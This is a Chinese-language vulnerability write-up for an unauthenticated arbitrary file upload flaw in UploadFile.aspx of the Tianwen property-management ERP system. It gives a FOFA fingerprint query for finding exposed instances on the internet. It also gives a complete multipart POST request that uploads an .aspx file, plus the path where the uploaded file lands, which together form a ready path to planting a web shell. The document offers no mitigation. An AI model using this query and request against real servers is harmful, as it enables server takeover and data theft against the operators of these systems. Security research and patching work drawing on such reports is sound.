天问物业ERP系统UploadFile.aspx前台任意文件上传漏洞
一、漏洞简介
成都天问互联科技有限公司以软件开发和技术服务为基础，建立物业ERP应用系统，向物管公司提供旨在降低成本、保障品质、提升效能为目标的智慧物管整体解决方案。天问物业ERP系统UploadFile.aspx存在文件上传漏洞，攻击者可以利用漏洞上传恶意文件获取服务器权限。
二、影响版本
- 天问物业ERP
三、资产测绘
- fofa
body="国家版权局软著登字第1205328号" - 登录页面
四、漏洞复现
POST /HM/M_Main/IntroductionManage/UploadFile.aspx HTTP/1.1
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_301
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 121
Connection: close
--00content0boundary00
Content-Disposition: form-data; name="file"; filename="1.aspx"
123
--00content0boundary00--
上传文件地址
http://xx.xx.xx.xx/HM/M_Main/UploadFiles/IntroductionManage/20230929223355771.aspx